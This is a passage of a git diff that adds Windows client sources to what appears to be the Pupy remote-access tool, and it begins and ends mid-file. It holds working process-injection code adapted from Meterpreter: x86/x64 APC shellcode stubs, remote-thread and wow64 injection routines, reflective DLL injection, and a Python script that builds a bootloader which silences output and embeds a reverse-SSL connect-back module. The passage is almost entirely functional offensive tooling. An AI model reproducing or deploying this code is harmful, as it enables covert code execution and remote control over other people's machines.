"\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58" + "\x5F\x5A\x8B\x12\xEB\x86\x5B\x80\x7E\x10\x00\x75\x3B\xC6\x46\x10" + "\x01\x68\xA6\x95\xBD\x9D\xFF\xD3\x3C\x06\x7C\x1A\x31\xC9\x64\x8B" + "\x41\x18\x39\x88\xA8\x01\x00\x00\x75\x0C\x8D\x93\xCF\x00\x00\x00" + "\x89\x90\xA8\x01\x00\x00\x31\xC9\x51\x51\xFF\x76\x08\xFF\x36\x51" + "\x51\x68\x38\x68\x0D\x16\xFF\xD3\xC9\xC2\x0C\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00"; + +// see '/msf3/external/source/shellcode/x64/migrate/apc.asm' +BYTE apc_stub_x64[] = "\xFC\x80\x79\x10\x00\x0F\x85\x13\x01\x00\x00\xC6\x41\x10\x01\x48" + "\x83\xEC\x78\xE8\xC8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48" + "\x31\xD2\x65\x48\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52\x20\x48" + "\x8B\x72\x50\x48\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0\xAC\x3C" + "\x61\x7C\x02\x2C\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xED\x52\x41" + "\x51\x48\x8B\x52\x20\x8B\x42\x3C\x48\x01\xD0\x66\x81\x78\x18\x0B" + "\x02\x75\x72\x8B\x80\x88\x00\x00\x00\x48\x85\xC0\x74\x67\x48\x01" + "\xD0\x50\x8B\x48\x18\x44\x8B\x40\x20\x49\x01\xD0\xE3\x56\x48\xFF" + "\xC9\x41\x8B\x34\x88\x48\x01\xD6\x4D\x31\xC9\x48\x31\xC0\xAC\x41" + "\xC1\xC9\x0D\x41\x01\xC1\x38\xE0\x75\xF1\x4C\x03\x4C\x24\x08\x45" + "\x39\xD1\x75\xD8\x58\x44\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C" + "\x48\x44\x8B\x40\x1C\x49\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x41" + "\x58\x41\x58\x5E\x59\x5A\x41\x58\x41\x59\x41\x5A\x48\x83\xEC\x20" + "\x41\x52\xFF\xE0\x58\x41\x59\x5A\x48\x8B\x12\xE9\x4F\xFF\xFF\xFF" + "\x5D\x48\x31\xD2\x65\x48\x8B\x42\x30\x48\x39\x90\xC8\x02\x00\x00" + "\x75\x0E\x48\x8D\x95\x07\x01\x00\x00\x48\x89\x90\xC8\x02\x00\x00" + "\x4C\x8B\x01\x4C\x8B\x49\x08\x48\x31\xC9\x48\x31\xD2\x51\x51\x41" + "\xBA\x38\x68\x0D\x16\xFF\xD5\x48\x81\xC4\xA8\x00\x00\x00\xC3\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00"; + +/* + * Attempt to gain code execution in the remote process via a call to ntdll!NtQueueApcThread + * Note: Windows Server 2008R2 can blue screen if you use APC injection to inject into another sessions csrss.exe + */ +DWORD inject_via_apcthread( HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter ) +{ + DWORD dwResult = ERROR_ACCESS_DENIED; + HMODULE hNtdll = NULL; + NTQUEUEAPCTHREAD pNtQueueApcThread = NULL; + HANDLE hThreadSnap = NULL; + LPVOID lpApcStub = NULL; + LPVOID lpRemoteApcStub = NULL; + LPVOID lpRemoteApcContext = NULL; + LIST * thread_list = NULL; + THREADENTRY32 t = {0}; + APCCONTEXT ctx = {0}; + DWORD dwApcStubLength = 0; + + do + { + thread_list = list_create(); + if( !thread_list ) + break; + + ctx.s.lpStartAddress = lpStartAddress; + ctx.p.lpParameter = lpParameter; + ctx.bExecuted = FALSE; + + t.dwSize = sizeof( THREADENTRY32 ); + + // Get the architecture specific apc migration stub... + if( dwDestinationArch == PROCESS_ARCH_X86 ) + { + if( dwPupyArch == PROCESS_ARCH_X64 ) + { + // injecting x64->x86(wow64) + + // Our injected APC ends up running in native x64 mode within the wow64 process and as such + // will need a modified stub to transition to wow64 before execuing the apc_stub_x86 stub. + + // This issue does not effect x64->x86 injection using the kernel32!CreateRemoteThread method though. + + SetLastError( ERROR_ACCESS_DENIED ); + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: Can't do x64->x86 APC injection yet." ) + } + else + { + // injecting x86->x86 + lpApcStub = &apc_stub_x86; + dwApcStubLength = sizeof( apc_stub_x86 ); + } + } + else if( dwDestinationArch == PROCESS_ARCH_X64 ) + { + // injecting x64->x64 (and the same stub for x86(wow64)->x64) + lpApcStub = &apc_stub_x64; + dwApcStubLength = sizeof( apc_stub_x64 ); + + if( dwPupyArch == PROCESS_ARCH_X86 ) + { + // injecting x86(wow64)->x64 + + // For now we leverage a bug in wow64 to get x86->x64 injection working, this + // will simply fail gracefully on systems where the technique does not work. + + MEMORY_BASIC_INFORMATION mbi = {0}; + LPVOID lpRemoteAddress = NULL; + BYTE * lpNopSled = NULL; + BYTE bStub[] = "\x48\x89\xC8\x48\xC1\xE1\x20\x48\xC1\xE9\x20\x48\xC1\xE8\x20\xFF\xE0"; + + /* + // On Windows 2003 x64 there is a bug in the implementation of NtQueueApcThread for wow64 processes. + // The call from a wow64 process to NtQueueApcThread to inject an APC into a native x64 process is sucessful, + // however the start address of the new APC in the native x64 process is not what we specify but instead it is + // the address of the wow64.dll export wow64!Wow64ApcRoutine as found in the wow64 process! We can simple VirtualAlloc + // this address (No ASLR on Windows 2003) and write a simple NOP sled which will jump to our real APC. From there + // injection will continue as normal. + + // The registers on the native x64 process after the queued APC is attempted to run: + rip = 000000006B0095F0 // address of wow64!Wow64ApcRoutine as found in the wow64 process + rcx = ( dwApcRoutine << 32 ) | dwApcRoutineContext // (our start address and param) + rdx = dwApcStatusBlock // unused + r8 = dwApcReserved // unused + + // On the WOW64 process side: + wow64:000000006B0095F0 ; Exported entry 3. Wow64ApcRoutine + wow64:000000006B0095F0 + wow64:000000006B0095F0 public Wow64ApcRoutine + + // On the native x64 process side: + ntdll:0000000077EF30A0 public KiUserApcDispatcher + ntdll:0000000077EF30A0 mov rcx, [rsp] // 32bit dwApcRoutine and 32bit dwApcRoutineContext into 64bit value + ntdll:0000000077EF30A4 mov rdx, [rsp+8] // 32bit dwApcStatusBlock + ntdll:0000000077EF30A9 mov r8, [rsp+10h] // 32bit dwApcReserved + ntdll:0000000077EF30AE mov r9, rsp + ntdll:0000000077EF30B1 call qword ptr [rsp+18h] // <--- we call the other processes wow64 address for wow64!Wow64ApcRoutine! + + // Our bStub: + 00000000 4889C8 mov rax, rcx + 00000003 48C1E120 shl rcx, 32 + 00000007 48C1E920 shr rcx, 32 + 0000000B 48C1E820 shr rax, 32 + 0000000F FFE0 jmp rax + */ + + // alloc the address of the wow64!Wow64ApcRoutine export in the remote process... + // TO-DO: parse the PE64 executable wow64.dll to get this at runtime. + lpRemoteAddress = VirtualAllocEx( hProcess, (LPVOID)0x6B0095F0, 8192, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + if( !lpRemoteAddress ) + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: VirtualAllocEx 0x6B0095F0 failed" ); + + if( VirtualQueryEx( hProcess, lpRemoteAddress, &mbi, sizeof(MEMORY_BASIC_INFORMATION) ) == 0 ) + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: VirtualQueryEx failed" ); + + lpNopSled = (BYTE *)malloc( mbi.RegionSize ); + if( !lpNopSled ) + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: malloc lpNopSled failed" ); + + memset( lpNopSled, 0x90, mbi.RegionSize ); + + if( !WriteProcessMemory( hProcess, lpRemoteAddress, lpNopSled, mbi.RegionSize, NULL ) ) + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory lpNopSled failed" ) + + if( !WriteProcessMemory( hProcess, ((BYTE*)lpRemoteAddress + mbi.RegionSize - sizeof(bStub)), bStub, sizeof(bStub), NULL ) ) + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory bStub failed" ) + + free( lpNopSled ); + } + } + else + { + SetLastError( ERROR_BAD_ENVIRONMENT ); + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: Invalid target architecture" ) + } + + hNtdll = LoadLibraryA( "ntdll" ); + if( !hNtdll ) + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: LoadLibraryA failed" ) + + pNtQueueApcThread = (NTQUEUEAPCTHREAD)GetProcAddress( hNtdll, "NtQueueApcThread" ); + if( !pNtQueueApcThread ) + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: GetProcAddress NtQueueApcThread failed" ) + + hThreadSnap = CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 ); + if( !hThreadSnap ) + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: CreateToolhelp32Snapshot failed" ) + + if( !Thread32First( hThreadSnap, &t ) ) + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: Thread32First failed" ) + + // Allocate memory for the apc stub and context + lpRemoteApcStub = VirtualAllocEx( hProcess, NULL, dwApcStubLength + sizeof(APCCONTEXT), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + if( !lpRemoteApcStub ) + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: VirtualAllocEx failed" ) + + // Simply determine the apc context address + lpRemoteApcContext = ( (BYTE *)lpRemoteApcStub + dwApcStubLength ); + + //printf( "[INJECT] -- dwPupyArch=%s, lpRemoteApcStub=0x%08X, lpRemoteApcContext=0x%08X", ( dwPupyArch == 2 ? "x64" : "x86" ), lpRemoteApcStub, lpRemoteApcContext ); + + // Write the apc stub to memory... + if( !WriteProcessMemory( hProcess, lpRemoteApcStub, lpApcStub, dwApcStubLength, NULL ) ) + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory lpRemoteApcStub failed" ) + + // Write the apc context to memory... + if( !WriteProcessMemory( hProcess, lpRemoteApcContext, (LPCVOID)&ctx, sizeof(APCCONTEXT), NULL ) ) + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory lpRemoteApcContext failed" ) + + do + { + HANDLE hThread = NULL; + + // Only proceed if we are targeting a thread in the target process + if( t.th32OwnerProcessID != dwProcessID ) + continue; + + // Open a handle to this thread so we can do the apc injection + hThread = OpenThread( THREAD_ALL_ACCESS, FALSE, t.th32ThreadID ); + if( !hThread ) + continue; + + //printf("[INJECT] inject_via_apcthread: Trying to inject into thread %d", t.th32ThreadID ); + + // Only inject into threads we can suspend to avoid synchronization issue whereby the new metsrv will attempt + // an ssl connection back but the client side will not be ready to accept it and we loose the session. + if( SuspendThread( hThread ) != (DWORD)-1 ) + { + list_push( thread_list, hThread ); + + // Queue up our apc stub to run in the target thread, when our apc stub is run (when the target + // thread is placed in an alertable state) it will spawn a new thread with our actual migration payload. + // Any successfull call to NtQueueApcThread will make migrate_via_apcthread return ERROR_SUCCESS. + if( pNtQueueApcThread( hThread, lpRemoteApcStub, lpRemoteApcContext, 0, 0 ) == ERROR_SUCCESS ) + { + //printf("[INJECT] inject_via_apcthread: pNtQueueApcThread for thread %d Succeeded.", t.th32ThreadID ); + dwResult = ERROR_SUCCESS; + } + else + { + //printf("[INJECT] inject_via_apcthread: pNtQueueApcThread for thread %d Failed.", t.th32ThreadID ); + } + } + else + { + CloseHandle( hThread ); + } + + // keep searching for more target threads to inject our apc stub into... + + } while( Thread32Next( hThreadSnap, &t ) ); + + } while( 0 ); + +/* + if( dwResult == ERROR_SUCCESS && remote && response ) + { + // We should only run this block if we are being used for migration... + + // Send a successful response to let the ruby side know that we've pretty + // much successfully migrated and have reached the point of no return + packet_add_tlv_uint( response, TLV_TYPE_MIGRATE_TECHNIQUE, MIGRATE_TECHNIQUE_APCQUEUE ); + packet_transmit_response( ERROR_SUCCESS, remote, response ); + + // Sleep to give the remote side a chance to catch up... + Sleep( 2000 ); + } +*/ + if( thread_list ) + { + // Resume all the threads which we queued our apc into as the remote + // client side will now be ready to handle the new ssl conenction. + while( TRUE ) + { + HANDLE t = (HANDLE)list_pop( thread_list ); + if( !t ) + break; + ResumeThread( t ); + CloseHandle( t ); + } + + list_destroy( thread_list ); + } + + if( hThreadSnap ) + CloseHandle( hThreadSnap ); + + if( hNtdll ) + FreeLibrary( hNtdll ); + + SetLastError( dwResult ); + + return dwResult; +} + +/* + * Attempt to gain code execution in a native x64 process from a wow64 process by transitioning out of the wow64 (x86) + * enviroment into a native x64 enviroment and accessing the native win64 API's. + * Note: On Windows 2003 the injection will work but in the target x64 process issues occur with new + * threads (kernel32!CreateThread will return ERROR_NOT_ENOUGH_MEMORY). Because of this we filter out + * Windows 2003 from this method of injection, however the APC injection method will work on 2003. + */ +DWORD inject_via_remotethread_wow64( HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE * pThread ) +{ + DWORD dwResult = ERROR_SUCCESS; + EXECUTEX64 pExecuteX64 = NULL; + X64FUNCTION pX64function = NULL; + WOW64CONTEXT * ctx = NULL; + OSVERSIONINFO os = {0}; + + do + { + os.dwOSVersionInfoSize = sizeof( OSVERSIONINFO ); + + if( !GetVersionEx( &os ) ) + BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: GetVersionEx failed" ) + + // filter out Windows 2003 + if ( os.dwMajorVersion == 5 && os.dwMinorVersion == 2 ) + { + SetLastError( ERROR_ACCESS_DENIED ); + BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: Windows 2003 not supported." ) + } + + // alloc a RWX buffer in this process for the EXECUTEX64 function + pExecuteX64 = (EXECUTEX64)VirtualAlloc( NULL, sizeof(migrate_executex64), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + if( !pExecuteX64 ) + BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: VirtualAlloc pExecuteX64 failed" ) + + // alloc a RWX buffer in this process for the X64FUNCTION function (and its context) + pX64function = (X64FUNCTION)VirtualAlloc( NULL, sizeof(migrate_wownativex)+sizeof(WOW64CONTEXT), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + if( !pX64function ) + BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: VirtualAlloc pX64function failed" ) + + // copy over the wow64->x64 stub + memcpy( pExecuteX64, &migrate_executex64, sizeof(migrate_executex64) ); + + // copy over the native x64 function + memcpy( pX64function, &migrate_wownativex, sizeof(migrate_wownativex) ); + + // set the context + ctx = (WOW64CONTEXT *)( (BYTE *)pX64function + sizeof(migrate_wownativex) ); + + ctx->h.hProcess = hProcess; + ctx->s.lpStartAddress = lpStartAddress; + ctx->p.lpParameter = lpParameter; + ctx->t.hThread = NULL; + + //printf( "[INJECT] inject_via_remotethread_wow64: pExecuteX64=0x%08X, pX64function=0x%08X, ctx=0x%08X", pExecuteX64, pX64function, ctx ); + + // Transition this wow64 process into native x64 and call pX64function( ctx ) + // The native function will use the native Win64 API's to create a remote thread in the target process. + if( !pExecuteX64( pX64function, (DWORD)ctx ) ) + { + SetLastError( ERROR_ACCESS_DENIED ); + BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: pExecuteX64( pX64function, ctx ) failed" ) + } + + if( !ctx->t.hThread ) + { + SetLastError( ERROR_INVALID_HANDLE ); + BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: ctx->t.hThread is NULL" ) + } + + // Success! grab the new thread handle from of the context + *pThread = ctx->t.hThread; + + //printf( "[INJECT] inject_via_remotethread_wow64: Success, hThread=0x%08X", ctx->t.hThread ); + + } while( 0 ); + + if( pExecuteX64 ) + VirtualFree( pExecuteX64, 0, MEM_DECOMMIT ); + + if( pX64function ) + VirtualFree( pX64function, 0, MEM_DECOMMIT ); + + return dwResult; +} + +/* + * Attempte to gain code execution in the remote process by creating a remote thread in the target process. + */ +DWORD inject_via_remotethread(HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter) +{ + DWORD dwResult = ERROR_SUCCESS; + DWORD dwTechnique = MIGRATE_TECHNIQUE_REMOTETHREAD; + HANDLE hThread = NULL; + + do + { + // Create the thread in the remote process. Create suspended in case the call to CreateRemoteThread + // fails, giving us a chance to try an alternative method or fail migration gracefully. + hThread = create_remote_thread(hProcess, 1024 * 1024, lpStartAddress, lpParameter, CREATE_SUSPENDED, NULL); + if (!hThread) + { + if (dwPupyArch == PROCESS_ARCH_X86 && dwDestinationArch == PROCESS_ARCH_X64) + { + dwTechnique = MIGRATE_TECHNIQUE_REMOTETHREADWOW64; + + if (inject_via_remotethread_wow64(hProcess, lpStartAddress, lpParameter, &hThread) != ERROR_SUCCESS) + { + BREAK_ON_ERROR("[INJECT] inject_via_remotethread: migrate_via_remotethread_wow64 failed") + } + } + else + { + BREAK_ON_ERROR("[INJECT] inject_via_remotethread: CreateRemoteThread failed") + } + } + else + { + //printf("[INJECT] inject_via_remotethread: succeeded"); + } +/* + if (remote && response) + { + //printf("[INJECT] inject_via_remotethread: Sending a migrate response..."); + // Send a successful response to let the ruby side know that we've pretty + // much successfully migrated and have reached the point of no return + packet_add_tlv_uint(response, TLV_TYPE_MIGRATE_TECHNIQUE, dwTechnique); + packet_transmit_response(ERROR_SUCCESS, remote, response); + + //printf("[INJECT] inject_via_remotethread: Sleeping for two seconds..."); + // Sleep to give the remote side a chance to catch up... + Sleep(2000); + } +*/ + Sleep(2000); + //printf("[INJECT] inject_via_remotethread: Resuming the injected thread..."); + // Resume the injected thread... + if (ResumeThread(hThread) == (DWORD)-1) + { + BREAK_ON_ERROR("[INJECT] inject_via_remotethread: ResumeThread failed") + } + + } while (0); + + if (hThread) + { + CloseHandle(hThread); + } + + SetLastError(dwResult); + + return dwResult; +} + +/* + * Inject a DLL image into a process via Reflective DLL Injection. + * + * Note: You must inject a DLL of the correct target process architecture, (e.g. a PE32 DLL for + * an x86 (wow64) process or a PE64 DLL for an x64 process). The wrapper function ps_inject_dll() + * in stdapi will handle this automatically. + * + * Note: This function largely depreciates LoadRemoteLibraryR(). + */ +DWORD inject_dll( DWORD dwPid, LPVOID lpDllBuffer, DWORD dwDllLenght, char * cpCommandLine , int remoteProcessArch) +{ + DWORD dwResult = ERROR_ACCESS_DENIED; + DWORD dwNativeArch = PROCESS_ARCH_UNKNOWN; + LPVOID lpRemoteCommandLine = NULL; + HANDLE hProcess = NULL; + LPVOID lpRemoteLibraryBuffer = NULL; + LPVOID lpReflectiveLoader = NULL; + DWORD dwReflectiveLoaderOffset = 0; + + do + { + if( !lpDllBuffer || !dwDllLenght ) + BREAK_ON_ERROR( "[INJECT] inject_dll. No Dll buffer supplied."); + + // check if the library has a ReflectiveLoader... + dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpDllBuffer ); + if( !dwReflectiveLoaderOffset ) + BREAK_ON_ERROR( "[INJECT] inject_dll. GetReflectiveLoaderOffset failed."); + + hProcess = OpenProcess( PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwPid ); + if( !hProcess ) + BREAK_ON_ERROR( "[INJECT] inject_dll. OpenProcess failed." ); + + if( cpCommandLine ) + { + // alloc some space and write the commandline which we will pass to the injected dll... + lpRemoteCommandLine = VirtualAllocEx( hProcess, NULL, strlen(cpCommandLine)+1, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE ); + if( !lpRemoteCommandLine ) + BREAK_ON_ERROR( "[INJECT] inject_dll. VirtualAllocEx 1 failed" ); + + if( !WriteProcessMemory( hProcess, lpRemoteCommandLine, cpCommandLine, strlen(cpCommandLine)+1, NULL ) ) + BREAK_ON_ERROR( "[INJECT] inject_dll. WriteProcessMemory 1 failed" ); + } + + // alloc memory (RWX) in the host process for the image... + lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwDllLenght, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + if( !lpRemoteLibraryBuffer ) + BREAK_ON_ERROR( "[INJECT] inject_dll. VirtualAllocEx 2 failed" ); + + // write the image into the host process... + if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpDllBuffer, dwDllLenght, NULL ) ) + BREAK_ON_ERROR( "[INJECT] inject_dll. WriteProcessMemory 2 failed" ); + + // add the offset to ReflectiveLoader() to the remote library address... + lpReflectiveLoader = (LPVOID)( (DWORD)lpRemoteLibraryBuffer + (DWORD)dwReflectiveLoaderOffset ); + + // First we try to inject by directly creating a remote thread in the target process + if( inject_via_remotethread( hProcess, remoteProcessArch, lpReflectiveLoader, lpRemoteCommandLine ) != ERROR_SUCCESS ) + { + //printf( "[INJECT] inject_dll. inject_via_remotethread failed, trying inject_via_apcthread..." ); + + // If that fails we can try to migrate via a queued APC in the target process + if( inject_via_apcthread( hProcess, dwPid, remoteProcessArch, lpReflectiveLoader, lpRemoteCommandLine ) != ERROR_SUCCESS ) + BREAK_ON_ERROR( "[INJECT] inject_dll. inject_via_apcthread failed" ) + } + + dwResult = ERROR_SUCCESS; + + } while( 0 ); + + if( hProcess ) + CloseHandle( hProcess ); + + return dwResult; +} + diff --git a/client/sources/base_inject.h b/client/sources/base_inject.h new file mode 100644 index 00000000..bb9ea7c2 --- /dev/null +++ b/client/sources/base_inject.h @@ -0,0 +1,126 @@ +/* + This code has been taken from meterpreter and modified to be integrated into pupy. + original code :https://github.com/rapid7/metasploit-payloads/blob/master/c/meterpreter/source/common/arch/win/i386/ + +Meterpreter is available for use under the following license, commonly known as the +3-clause (or "modified") BSD license: + +========================================================================================= + +Meterpreter +----------- + +Copyright (c) 2006-2013, Rapid7 Inc + +Redistribution and use in source and binary forms, with or without modification, are +permitted provided that the following conditions are met: + +* Redistributions of source code must retain the above copyright notice, this list of + conditions and the following disclaimer. + +* Redistributions in binary form must reproduce the above copyright notice, this list of + conditions and the following disclaimer in the documentation and/or other materials + provided with the distribution. + +* Neither the name of Rapid7 nor the names of its contributors may be used to endorse or + promote products derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY +EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL +THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT +OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR +TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +*/ +//===============================================================================================// +#ifndef _METERPRETER_BASE_INJECT_H +#define _METERPRETER_BASE_INJECT_H +//===============================================================================================// + +// These are defined in the stdapi projects ps.h file. We should put them somewhere more generic so we dont dup them here. +#define PROCESS_ARCH_UNKNOWN 0 +#define PROCESS_ARCH_X86 1 +#define PROCESS_ARCH_X64 2 +#define PROCESS_ARCH_IA64 3 + +// The three injection techniques currently supported. +#define MIGRATE_TECHNIQUE_REMOTETHREAD 0 +#define MIGRATE_TECHNIQUE_REMOTETHREADWOW64 1 +#define MIGRATE_TECHNIQUE_APCQUEUE 2 + +extern const DWORD dwPupyArch; + +//===============================================================================================// + +// Definition of ntdll!NtQueueApcThread +typedef NTSTATUS (NTAPI * NTQUEUEAPCTHREAD)( HANDLE hThreadHandle, LPVOID lpApcRoutine, LPVOID lpApcRoutineContext, LPVOID lpApcStatusBlock, LPVOID lpApcReserved ); + +// Definitions used for running native x64 code from a wow64 process (see executex64.asm) +typedef BOOL (WINAPI * X64FUNCTION)( DWORD dwParameter ); +typedef DWORD (WINAPI * EXECUTEX64)( X64FUNCTION pFunction, DWORD dwParameter ); + +//===============================================================================================// + +// The context used for injection via migrate_via_apcthread +typedef struct _APCCONTEXT +{ + union + { + LPVOID lpStartAddress; + BYTE bPadding1[8]; + } s; + + union + { + LPVOID lpParameter; + BYTE bPadding2[8]; + } p; + + BYTE bExecuted; + +} APCCONTEXT, * LPAPCCONTEXT; + +// The context used for injection via migrate_via_remotethread_wow64 +typedef struct _WOW64CONTEXT +{ + union + { + HANDLE hProcess; + BYTE bPadding2[8]; + } h; + + union + { + LPVOID lpStartAddress; + BYTE bPadding1[8]; + } s; + + union + { + LPVOID lpParameter; + BYTE bPadding2[8]; + } p; + union + { + HANDLE hThread; + BYTE bPadding2[8]; + } t; +} WOW64CONTEXT, * LPWOW64CONTEXT; + +//===============================================================================================// + +DWORD inject_via_apcthread(HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter); + +DWORD inject_via_remotethread(HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter); + +DWORD inject_via_remotethread_wow64(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE * pThread); + +DWORD inject_dll(DWORD dwPid, LPVOID lpDllBuffer, DWORD dwDllLenght, char * cpCommandLine); + +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/client/sources/gen_library_compressed_string.py b/client/sources/gen_library_compressed_string.py new file mode 100644 index 00000000..55cc0a61 --- /dev/null +++ b/client/sources/gen_library_compressed_string.py @@ -0,0 +1,34 @@ +#!/usr/bin/env python +# -*- coding: UTF8 -*- +import StringIO, zipfile, os.path, imp, sys +import marshal +import zlib + +def get_encoded_library_string(arch): + filepath=None + if arch=="x86": + filepath=os.path.join("resources","libraryx86.zip") + elif arch=="x64": + filepath=os.path.join("resources","libraryx64.zip") + else: + raise Exception("unknown arch %s"%arch) + f = StringIO.StringIO() + f.write(open(filepath, "rb").read()) + + zip = zipfile.ZipFile(f) + + modules = dict([(z.filename, zip.open(z.filename,).read()) for z in zip. infolist() if os.path.splitext(z.filename)[1] in [".py",".pyd",".dll",".pyc",".pyo"]]) + + return zlib.compress(marshal.dumps(modules),9) +try: + with open(os.path.join("resources","library_compressed_string_x86.txt"),'wb') as w: + w.write(get_encoded_library_string("x86")) + print "x86 encoded library generated" +except Exception as e: + print str(e) +try: + with open(os.path.join("resources","library_compressed_string_x64.txt"),'wb') as w: + w.write(get_encoded_library_string("x64")) + print "x64 encoded library generated" +except Exception as e: + print str(e) diff --git a/client/sources/gen_python_bootloader.py b/client/sources/gen_python_bootloader.py new file mode 100644 index 00000000..81f0d537 --- /dev/null +++ b/client/sources/gen_python_bootloader.py @@ -0,0 +1,54 @@ +#!/usr/bin/env python +# -*- coding: UTF8 -*- +import marshal +import struct +import base64 +import os.path + + +remove_stdout=""" +import sys +class Blackhole(object): + softspace = 0 + def read(self): + pass + def write(self, text): + pass + def flush(self): + pass +sys.stdout = Blackhole() +sys.stderr = Blackhole() +del Blackhole +""" +#remove_stdout="" +def get_load_module_code(code, modulename): + loader=""" +import imp, sys +fullname={} +mod = imp.new_module(fullname) +mod.__file__ = "\\%s" % fullname +exec {} in mod.__dict__ +sys.modules[fullname]=mod + """.format(repr(modulename),repr(code)) + return loader + + +if __name__=="__main__": + code_bytes=[] + code="" + #code_bytes.append(compile("import sys; print repr(sys._GetCompressedLibraryString())"+"\n", "", "exec")) + code_bytes.append(compile(remove_stdout, "", "exec")) + code_bytes.append(compile("import sys;sys.argv=[]", "", "exec")) + with open(os.path.join("..", "..", "pupy", "packages","all", "pupyimporter.py")) as f: + code=f.read() + code_bytes.append(compile(get_load_module_code(code,"pupyimporter")+"\n", "", "exec")) + code_bytes.append(compile("import pupyimporter;pupyimporter.install()\n", "", "exec")) + #code_bytes.append(compile("import platform; print platform.uname()\n", "", "exec")) + with open(os.path.join("..","reverse_ssl.py")) as f: + code=f.read() + code_bytes.append(compile(code+"\n", "", "exec")) + code_bytes=marshal.dumps(code_bytes) + with open(os.path.join("resources","bootloader.pyc"),'wb') as w: + w.write(code_bytes) + + diff --git a/client/sources/gen_resource_header.py b/client/sources/gen_resource_header.py new file mode 100644 index 00000000..2a63b677 --- /dev/null +++ b/client/sources/gen_resource_header.py @@ -0,0 +1,29 @@ +#!/usr/bin/env python +# -*- coding: UTF8 -*- +import sys +import binascii + +MAX_CHAR_PER_LINE=50 + +if __name__=="__main__": + h_file="" + file_bytes=b"" + with open(sys.argv[1], "rb") as f: + file_bytes=f.read() + h_file += "int %s_size = %s;"%(sys.argv[1].replace(".","_").replace("\\","_").replace("/","_"), len(file_bytes)) + h_file += "\nchar %s_start[] = {\n"%sys.argv[1].replace(".","_").replace("\\","_").replace("/","_") + current_size=0 + + for c in file_bytes: + h_file+="'\\x%s',"%binascii.hexlify(c) + current_size+=1 + if current_size>MAX_CHAR_PER_LINE: + current_size=0 + h_file+="\n" + + h_file += "'\\x00' };\n" + + with open(sys.argv[1].replace(".","_").replace("\\","_").replace("/","_")+".c",'w') as w: + w.write(h_file) + + diff --git 